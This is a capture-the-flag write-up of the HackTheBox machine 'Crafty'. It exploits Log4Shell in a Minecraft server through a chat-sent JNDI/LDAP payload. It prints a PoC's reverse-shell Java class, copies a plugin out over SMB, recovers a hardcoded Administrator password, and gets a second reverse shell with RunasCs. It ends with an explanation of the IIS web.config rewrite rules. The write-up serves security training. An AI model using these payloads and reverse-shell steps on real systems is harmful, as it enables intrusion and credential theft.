Crafty is all about exploiting a Minecraft server. Minecraft was notoriously vulnerable to Log4Shell due to its use of the Java Log4J package. I’ll use a free Minecraft command line client to connect and send a Log4Shell payload to get a shell on the box. From there, I’ll find a plugin for the Minecraft server and reverse it to find the administrator password. In Beyond Root, I’ll examine and understand the web.config file for the static website.

Box Info

Name Crafty Crafty
Play on HackTheBox
Release Date 10 Feb 2024
Retire Date 15 Jun 2024
OS Windows Windows
Base Points Easy [20]
Rated Difficulty Rated difficulty for Crafty
Radar Graph Radar chart for Crafty
First Blood User 00:24:32Vz0n
First Blood Root 00:57:25Vz0n
Creators TheCyberGeek



nmap finds two open TCP ports, HTTP (80) and Minecraft (25565):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2024-06-10 15:30 EDT
Nmap scan report for
Host is up (0.11s latency).
Not shown: 65533 filtered ports
80/tcp    open  http
25565/tcp open  minecraft

Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds
oxdf@hacky$ nmap -p 80,25565 -sCV
Starting Nmap 7.80 ( ) at 2024-06-10 15:30 EDT
Nmap scan report for
Host is up (0.11s latency).

80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://crafty.htb
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

Based on the IIS version, the host is running modern Windows. I’ll note the redirect to crafty.htb on 80. I’ll use ffuf to scan for other subdomains that respond differently but not find anything. I’ll add crafty.htb to my /etc/hosts file: crafty.htb

Website - TCP 80


The page is a Minecraft page:


The text does show a subdomain, play.crafty.htb, which I’ll add to my /etc/hosts file. Visiting it in a browser just redirects to crafty.htb.

All three of the image in the middle are links, but they all go to /coming-soon:


Tech Stack

The HTTP response headers show IIS but not much else:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Fri, 27 Oct 2023 21:56:54 GMT
Accept-Ranges: bytes
ETag: "f431cf7f209da1:0"
Server: Microsoft-IIS/10.0
Date: Mon, 10 Jun 2024 19:36:03 GMT
Connection: close
Content-Length: 1826

Trying to guess at extensions, when I go to /index.html, it returns a 301 redirect to /home:

HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: http://crafty.htb/home
Server: Microsoft-IIS/10.0
Date: Mon, 10 Jun 2024 19:36:35 GMT
Connection: close
Content-Length: 145

index.html must exist or be specifically defined, because /0xdf.html returns the standard IIS 404 page. It’s not important to solve the box, but I’ll look at how the webserver is serving the static pages and redirects in Beyond Root.

Directory Brute Force

I’ll run feroxbuster against the site using a lowercase wordlist since it’s Windows and case-insensitive:

oxdf@hacky$ feroxbuster -u http://crafty.htb -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
 🎯  Target Url            │ http://crafty.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       58l      150w     1826c http://crafty.htb/
301      GET        2l       10w      145c http://crafty.htb/css => http://crafty.htb/css/
301      GET        2l       10w      144c http://crafty.htb/js => http://crafty.htb/js/
301      GET        2l       10w      145c http://crafty.htb/img => http://crafty.htb/img/
200      GET       58l      150w     1826c http://crafty.htb/home
200      GET       35l       98w     1206c http://crafty.htb/coming-soon
400      GET        6l       26w      324c http://crafty.htb/error%1F_log
400      GET        6l       26w      324c http://crafty.htb/js/error%1F_log
400      GET        6l       26w      324c http://crafty.htb/css/error%1F_log
400      GET        6l       26w      324c http://crafty.htb/img/error%1F_log
[####################] - 56s   106336/106336  0s      found:10      errors:0
[####################] - 55s    26584/26584   483/s   http://crafty.htb/ 
[####################] - 55s    26584/26584   485/s   http://crafty.htb/css/ 
[####################] - 55s    26584/26584   486/s   http://crafty.htb/js/ 
[####################] - 55s    26584/26584   485/s   http://crafty.htb/img/  

Nothing interesting.

It’s worth a note that if I ever accidentally start feroxbuster with the default list and notice that different casings are showing up in the results, it’s worthwhile to kill it and start over, or else it will spend a bunch of time recursing down the same directory multiple times.

Minecraft - TCP 25565

Manual Enumeration

Typically with an unknown port I’ll try interacting via curl and nc to see if it replies at all. curl returns an error message that is common when the service is not expecting HTTP:

oxdf@hacky$ curl http://crafty.htb:25565
curl: (1) Received HTTP/0.9 when not allowed

Connecting with ncdoes connection, and then nothing. I can enter text, but it doesn’t respond, until I Ctrl-c to kill the session.

Recreate nmap Result

I did note that nmap got a version string from the server. I’ll start Wireshark and run nmap -p 25565 -sCV to scan it again. The interesting TCP stream is the third of three:


I’ll switch the view from ASCII to Hex Dump:


I can recreate this with nc:

oxdf@hacky$ echo -ne "\xfe\x01" | nc crafty.htb 25565
!11271.16.5Crafty Server0100

But not much else I can identify manually.

Shell as svc_minecraft

Log4Shell - Background

Log4Shell is one of the most serious vulnerabilities discovered to date. It is a vulnerability in a common Java logging library, Log4J, that results in remote code execution. Minecraft is a well known service that was vulnerable to Log4Shell.

This post on talks about how Log4Shell impacts Minecraft. Specifically, for version 1.12-1.16.5, the startup command line must be modified to patch it, or upgrade to 1.17.

I’ve shown Log4Shell exploitation of Minecraft before, for Hackvent 2023 Day 19. I’ve shown other exploitations of Log4Shell in Holiday Hack 2021 and on LogForge.

Minecraft Client

To exploit Log4Shell on Minecraft, I need to send a specific message to the commands / chat function. To interact with the Minecraft server, I’ll need a client.

I could download a full Minecraft client, but that costs money. There are many free clients on GitHub! I’ll use Minecraft-Console-Client, downloading the latest release.

I’ll run it, giving a username. It asks for a password (I’ll entry blank), and then a server, where I can put in Crafty:

oxdf@hacky$ ./MinecraftClient-20240415-263-linux-x64 0xdf
Minecraft Console Client v1.20.4 - for MC 1.4.6 to 1.20.4 -
GitHub build 263, built on 2024-04-15 from commit 403284c
You chose to run in offline mode.
Server IP : 
Resolving crafty.htb...
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
Logging in...
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.

The documentation has a list of commands, all starting with /. If I start typing one, the auto-complete will come up:


Commands like /dig aren’t enabled yet:

[MCC] Please enable Terrain and Movements in the config file first.

I can list bots (/bots) or players (/list), though both return empty:

[MCC] No bots loaded!
[MCC] PlayerList: 

To send a chat, I’ll just send something not starting with /, and it displays back:

<0xdf> hello! anyone home?

Once in a while I can be killed:

0xdf was shot by Skeleton
[MCC] You are dead. Type '/respawn' to respawn.

/respawn and I’m back:

[MCC] You have respawned.

Log4Shell POC

Vulnerability Background

The issue with Log4Shell is that the Log4J logging module doesn’t handle well the pattern ${[stuff]}. By putting a JNDI/LDAP url in that pattern, it will cause the logger to fetch data from an arbitrary server and, if that is serialized Java, that leads to execution.

Proof of Vulnerability

To test for this, I’ll send listen on TCP port 389 (LDAP default) with nc and then enter a payload that will attempt to contact my host on 389:


If there’s a connection to my host, then the server is likely vulnerable to Log4Shell. On sending, I get a connection:

oxdf@hacky$ nc -lnvp 389
Listening on 389
Connection received on 49682

Log4Shell Exploit


I had good luck with this POC during Hackvent, so I’ll use it again. I’ll clone the repo to my computer and install the dependencies:

oxdf@hacky$ git clone
Cloning into 'log4j-shell-poc'...
remote: Enumerating objects: 52, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 52 (delta 0), reused 1 (delta 0), pack-reused 40
Receiving objects: 100% (52/52), 38.74 MiB | 44.42 MiB/s, done.
Resolving deltas: 100% (7/7), done.
oxdf@hacky$ cd log4j-shell-poc/ 
oxdf@hacky$ pip install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (0.4.4)
Collecting argparse
  Using cached argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse
Successfully installed argparse-1.4.0  

There’s also instructions on the repo for downloading a specific Java binary from this page. I’ll download jdk-8u20-linux-x64.tar.gz from he bottom of that page, and extract it:

oxdf@hacky$ tar xf jdk-8u20-linux-x64.tar.gz 
oxdf@hacky$ rm jdk-8u20-linux-x64.tar.gz 
oxdf@hacky$ ls
Dockerfile  jdk1.8.0_20  LICENSE  requirements.txt  target  vulnerable-application

Run Fail

I’ll run the exploit, giving it my IP, a web port to listen on, and the port I want a shell back on:

oxdf@hacky$ python --userip --webport 8000 --lport 443

[!] CVE: CVE-2021-44228
[!] Github repo:

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://}

[+] Starting Webserver on port 8000
Listening on

It gives me this ${jndi:ldap://} payload, which I can send to Minecraft (and when I do it :

<0xdf> ${jndi:ldap://}

There’s requests at the exploit server:

Listening on
Send LDAP reference result for a redirecting to - - [10/Jun/2024 17:47:28] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to - - [10/Jun/2024 17:47:29] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to - - [10/Jun/2024 17:47:29] "GET /Exploit.class HTTP/1.1" 200 -

But no shell connection at nc.

POC Analysis

The script starts off with a generate_payload function that starts defining a template Java program on lines 15-54:

def generate_payload(userip: str, lport: int) -> None:
    program = """

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            try {
            catch (Exception e){
""" % (userip, lport)

    # writing the exploit to file

    p = Path("")

        p.write_text(program)[os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
        print(Fore.GREEN + '[+] Exploit java class created success')

It puts in the IP and port, writes it to disk, and then compiles it with javac.

Looking at the payload, it’s using String cmd="/bin/sh";, which won’t work on a Windows host. I’ll edit that to String cmd="cmd.exe";.

Exploit Success

Running the updated exploit, I’ll send the payload to Minecraft. This time there’s only on hit at the exploit:

[+] Starting Webserver on port 8000
Listening on
Send LDAP reference result for a redirecting to - - [10/Jun/2024 17:48:09] "GET /Exploit.class HTTP/1.1" 200 -

And a shell at nc:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 443
Connection received on 49717
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\users\svc_minecraft\server> whoami

I like to use rlwrap to get things similar to the shell upgrade on Linux.

The user flag is on the desktop:

c:\Users\svc_minecraft\Desktop> type user.txt

I’ll also switch to PowerShell:

c:\Users\svc_minecraft\Desktop> powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\svc_minecraft\Desktop> 

Shell as Administrator



The website code lives in C:\inetpub. The web root is wwwroot, which has three files as well as directories:

PS C:\inetpub\wwwroot> ls

    Directory: C:\inetpub\wwwroot

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/24/2023   2:20 PM                css
d-----       10/24/2023   2:20 PM                img
d-----       10/24/2023   2:20 PM                js
-a----       10/27/2023   2:56 PM           1206 coming-soon.html
-a----       10/27/2023   2:56 PM           1826 index.html
-a----       10/27/2023   2:58 PM           2396 web.config

There’s nothing interesting as far as escalating privileges. It’s just a static site, as expected. This web.config file is nice to look at to understand the behavior noted above, which I’ll look at in Beyond Root.


There’s only the administrator user who has a home directory on this box besides svc_minecraft:

PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/10/2020   8:17 AM                Administrator
d-r---       10/26/2023   7:03 PM                Public
d-----       11/21/2023  12:53 AM                svc_minecraft 

The Public folder is empty:

PS C:\Users> tree /f Public
Folder PATH listing
Volume serial number is C419-63F6


The Minecraft server is homed in svc_minecraft’s home directory in the server folder:

PS C:\Users\svc_minecraft\server> ls

    Directory: C:\Users\svc_minecraft\server

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----
d-----        6/10/2024  12:11 PM                logs
d-----       10/27/2023   2:48 PM                plugins
d-----        6/10/2024   2:44 PM                world
-a----       11/14/2023  10:00 PM              2 banned-ips.json
-a----       11/14/2023  10:00 PM              2 banned-players.json
-a----       10/24/2023   1:48 PM            183 eula.txt
-a----       11/14/2023  11:22 PM              2 ops.json
-a----       10/24/2023   1:43 PM       37962360 server.jar
-a----       11/14/2023  10:00 PM           1130
-a----        6/10/2024   2:38 PM            111 usercache.json
-a----       10/24/2023   1:51 PM              2 whitelist.json

I suspect that server.jar is a Minecraft server. I’ll take a file hash:

PS C:\Users\svc_minecraft\server>  Get-FileHash -algorithm MD5 server.jar

Algorithm       Hash                                                                   Path                            
---------       ----                                                                   ----                            
MD5             C10B74188EFC4ED6960DB49C9ADE50CE                                       C:\Users\svc_minecraft\server...

Searching on VT I’ll find this:

image-20240610205928225Click for full size image

There’s one positive hit, but only that it has a vulnerable version of Log4J. It’s been on VT since 2021:


The names show it’s likely a real Minecraft server. The Community tab agress:

image-20240610210115023Click for full size image

The plugins directory has a single Jar:

PS C:\Users\svc_minecraft\server\plugins> ls

    Directory: C:\Users\svc_minecraft\server\plugins

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/27/2023   2:48 PM           9996 playercounter-1.0-SNAPSHOT.jar

I’ll hash it:

PS C:\Users\svc_minecraft\server\plugins> Get-FileHash -algorithm MD5 playercounter-1.0-SNAPSHOT.jar

Algorithm       Hash                                                                   Path                            
---------       ----                                                                   ----                            
MD5             349F6584E18CD85FC9E014DA154EFE03                                       C:\Users\svc_minecraft\server...

And find it on VT. It’s first submission was in February 2024, the day after Crafty released!


That’s a good sign this is something custom to Crafty.



To get a copy of this Jar file on my host, I’ll start an SMB server with Impacket’s

oxdf@hacky$ share . -smb2support -username oxdf -password oxdf
Impacket v0.12.0.dev1+20240308.164415.4a62f39 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

A username and password are required for most Windows hosts to connect. I’ll mount the share on Crafty:

PS C:\Users\svc_minecraft\server\plugins> net use \\\share /u:oxdf oxdf
The command completed successfully.

Now I can copy the binary to my machine:

PS C:\Users\svc_minecraft\server\plugins> copy playercounter-1.0-SNAPSHOT.jar \\\share\

I’ll verify the hash matches:

oxdf@hacky$ md5sum playercounter-1.0-SNAPSHOT.jar
349f6584e18cd85fc9e014da154efe03  playercounter-1.0-SNAPSHOT.jar

Reverse Engineering

I’ll grab a copy of JD-GIU and open the plugin with java -jar jd-gui-1.6.6.jar playercounter-1.0-SNAPSHOT.jar.

The project is pretty small:


rkon is a public library for the Source RCON Protocol, designed for game servers. From the docs:

The Source RCON Protocol is a TCP/IP-based communication protocol used by Source Dedicated Server, which allows console commands to be issued to the server via a “remote console”, or RCON. The most common use of RCON is to allow server owners to control their game servers without direct access to the machine the server is running on. In order for commands to be accepted, the connection must first be authenticated using the server’s RCON password, which can be set using the console variable rcon_password.

plungin.yml has some basic metadata:

name: playercounter
version: '1.0-SNAPSHOT'
main: htb.crafty.playercounter.Playercounter
api-version: '1.20'

The Playercounter.class file has the main part of the plugin:

package htb.crafty.playercounter;

import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;

public final class Playercounter extends JavaPlugin {
  public void onEnable() {
    Rcon rcon = null;
    try {
      rcon = new Rcon("", 27015, "s67u84zKq8IXw".getBytes());
    } catch (IOException e) {
      throw new RuntimeException(e);
    } catch (AuthenticationException e2) {
      throw new RuntimeException(e2);
    String result = null;
    try {
      result = rcon.command("players online count");
      PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
    } catch (IOException e3) {
      throw new RuntimeException(e3);
  public void onDisable() {}

It’s connecting to rkon on port 27015 with the password “s67u84zKq8IXw”. In theory this is updating a playercount.txt in the web directory, though that file doesn’t actually exist on Crafty.


Test Password

Without access to SMB, LDAP, WinRM, Kerberos, or any other authenticated Window services, I don’t have a good way to check this password from my host. I’ll upload a copy of RunasCs by downloading a copy from the releases and hosting it on my Python web server. Then, from a directory svc_minecraft can write to (I like to stage out of C:\programdata), I can request it from Crafty:

PS C:\programdata> wget -outfile RunasCs.exe
PS C:\programdata> ls

    Directory: C:\programdata

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-        4/10/2020  10:46 AM                Microsoft
d-----       10/24/2023  12:34 PM                Oracle
d-----         2/6/2024  12:40 AM                Package Cache
d-----       11/21/2023   9:54 PM      
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        4/10/2020   5:48 AM                ssh
d-----        4/10/2020  10:49 AM                USOPrivate
d-----        4/10/2020  10:49 AM                USOShared
d-----        8/25/2021   2:57 AM                VMware
-a----        6/10/2024   6:29 PM          51712 RunasCs.exe

The basic syntax is RunasCs.exe <username> <password> <cmd>. With a bad password, it fails:

PS C:\programdata> .\RunasCs.exe Administrator notthepassword "cmd /c whoami"
[-] RunasCsException: LogonUser failed with error code: The user name or password is incorrect

But with the password from the plugin it works:

PS C:\programdata> .\RunasCs.exe Administrator s67u84zKq8IXw "cmd /c whoami"


RunasCs has a -r option that takes an IP and port to connect stdin, stdout, and stderr of the resulting process to, which works very much like a reverse shell. With nc listening on TCP 443, I’ll run it:

PS C:\programdata> .\RunasCs.exe Administrator s67u84zKq8IXw cmd -r
[+] Running in session 1 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: WinSta0\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3436 created in background.

At my listening nc, there’s a shell as Administrator:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 443
Connection received on 49721
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

I’ll switch to PowerShell:

C:\Windows\system32> powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> 

And grab the flag:

PS C:\users\administrator\desktop> cat root.txt

Beyond Root

Webserver Background

I noted above that there was interesting behavior around the index.html file on the webserver. Visiting that resulted in a redirect to /home Visiting other files that didn’t exist returned an IIS 404.

The only other file I could locate on the webserver is /coming-soon.



The web.config file is where this is all configured. The file is structured as XML data with a series of “rewrite” rules:

<?xml version="1.0" encoding="UTF-8"?>
        <httpRedirect destination="" exactDestination="false" />

When I show the rules here, I’m removing whitespace from the front to make it easier to read on this page.


The first rule is looking for requests for exactly index.html:

<rule name="RedirectUserFriendlyURL1" stopProcessing="true">
    <match url="^index\.html$" />
        <add input="{REQUEST_METHOD}" pattern="^POST$" negate="true" />
    <action type="Redirect" url="home" appendQueryString="false" />

If it is a POST, it doesn’t match (though I’m not sure why, as the site doesn’t take POST requests). The action is to redirect to /home, and then on matching it stops processing rules. That explains the redirect to /home.

For fun, I’ll find my GET request for /index.html in Burp’s Proxy history and send the request to Repeater. Then I’ll right click and change the request method to POST. On sending, the server returns 405 Method Not Allowed:


The next rule goes with the first:

<rule name="RewriteUserFriendlyURL1" stopProcessing="true">
    <match url="^home$" />
        <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
    <action type="Rewrite" url="index.html" />

It’s matching on /home. The conditions look at if the request matches a file or directory. So if there were a file or directory named home, then it would match. And since both has negate="true", this rule only applies where there isn’t a file or directory named home. On a match, it “rewrites” the url to serve index.html.


The coming-soon page has two similar rules. The first redirects requests for /coming-soon.html to /coming-soon:

<rule name="RedirectUserFriendlyURL2" stopProcessing="true">
    <match url="^coming-soon\.html$" />
        <add input="{REQUEST_METHOD}" pattern="^POST$" negate="true" />
    <action type="Redirect" url="coming-soon" appendQueryString="false" />

The second rewrites requests to /coming-soon to return coming-soon.html:

<rule name="RewriteUserFriendlyURL2" stopProcessing="true">
    <match url="^coming-soon$" />
        <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
    <action type="Rewrite" url="coming-soon.html" />

Domain Redirect

The last rule is called “Redirect to domain”:

<rule name="Redirect to domain" stopProcessing="true">
    <match url="^(.*)$" />
    <action type="Redirect" url="http://crafty.htb" />
        <add input="{HTTP_HOST}" pattern="^(?!crafty.htb$).*" />

It matches on any url, except the condition looks at the {HTTP_HOST}, which is the Host header in the request. That regex is using a negative lookahead to say that any pattern that does not start with crafty.htb will match. Said differently, if the Host header doesn’t start with “crafty.htb”, then this rule will match and redirect to http://crafty.htb.